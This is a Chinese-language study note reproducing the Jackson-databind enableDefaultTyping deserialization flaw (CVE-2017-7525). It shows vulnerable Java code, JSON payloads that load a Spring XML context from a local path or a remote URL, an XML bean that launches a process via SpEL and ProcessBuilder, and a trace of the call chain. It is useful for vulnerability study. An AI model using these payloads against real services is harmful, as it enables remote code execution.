jackson反序列化漏洞_1
[TOC]
CVE-2017-7525
漏洞简介
Jackson enableDefaultTyping 方法反序列化代码执行漏洞
《漏洞通告】Jackson-databind远程命令执行漏洞通告(CVE-2017-7525)》[1]指出,Jackson是一个开源的java序列化与反序列化工具,可以将java对象序列化为xml和json格式的字符串或将两种文件反序列化为相应的对象。
Jackson-databind存在远程命令执行漏洞,因Jackson反序列化漏洞(CVE-2017-7525)采用黑名单的方法修复程序,CVE-2017-17485在开启enableDefaultTyping()的前提下可以通过Jackson-databind来滥用Spring spel来执行任意命令。
jackson-datablind
jackson本身提供的jackson-core的api调用起来会比较麻烦,jackson-datablind通过依赖core和annotations使jackson调用起来更简单
环境搭建
利用条件
根据触发条件是ObjectMapper反序列化前调用了enableDefaultTyping方法。该方法允许json字符串中指定反序列化java对象的类名,而在使用Object、Map、List等对象时,可诱发反序列化漏洞
【1】Jackson 2.7版本(<2.7.10)、2.8版本(<2.8.9)
【2】调用了enableDefaultTyping方法
【3】反序列化的类可控
测试代码
【java】代码
package jackson.rce;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.io.IOException;
import com.fasterxml.jackson.databind.ObjectMapper;
public class App
{
public static void main( String[] args ) throws IOException
{
ObjectMapper om = new ObjectMapper();
om.enableDefaultTyping();
byte[] json = Files.readAllBytes(Paths.get(args[0]));
inner i = om.readValue(json, inner.class);
}
}
class inner {
public int id;
public Object obj;
}
通过传参得方式读入反序列化的类
【json】代码
本地读取xml
{"id":123, "obj": ["org.springframework.context.support.FileSystemXmlApplicationContext", "//Users/daiq/knownsec/工作/互联网/学习/java/RCE/jackson/cve_2017_2725/jackson-rce-via-spel/spel.xml"]}
也可以远程读取,改成http
协议就行
{"id":123, "obj": ["org.springframework.context.support.FileSystemXmlApplicationContext", "https://raw.githubusercontent.com/irsl/jackson-rce-via-spel/master/spel.xml"]}
【xml】代码
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd
">
<bean id="pb" class="java.lang.ProcessBuilder">
<constructor-arg value="/System/Applications/Calculator.app" />
<property name="whatever" value="#{ pb.start() }"/>
</bean>
</beans>
调用结果
漏洞复现说明
根据该漏洞调试情况,表面上问题主要出在readvalue传入的参数可控,在该案例中,通过读取json文件中的需要转换为inner类的json数据,该json数据中调用FileSystemXmlApplicationContext
读入xml中的bean数据,在该方法的调用中实现命令执行
注意事项
【1】通过FileSystemXmlApplicationContext
读取绝对路径时,得写上两个\
漏洞跟踪
【1】readvalue函数需要参数 byte[],转换的类对象
【2】从接收的json字节流中创建解析对象jsonfactory.creatParse
其中src
为传入的字节流数据
传入要转换的java对象
【3】通过2构造readMapAndClose传入数据来调用解析json数据
传入的p0数据
【4】反序列化json数据流
…
…
object对象读入deserializeFromString
->createFromString
->newInstance
->loadBeanDefinitions
->FileSystemXmlApplicationContext
->refresh
createFromString
:读取json对象,读入xml文件内容newInstance
:调用Class.forName
加载类 并实例化 即加载org.springframework.context.support.FileSystemXmlApplicationContext
实例处理xml文件中的内容
FileSystemResource
读取xml内容loadBeanDefinitions
:读取xml内容字节流,输入字节流处理refresh
函数进行xml初始化实例
参考
CVE-2017-7275:Jackson-databind漏洞复现与分析笔记
Jackson之jackson-databind
Jackson工具类使用及配置指南、高性能配置(转)
Java中newInstance()和new()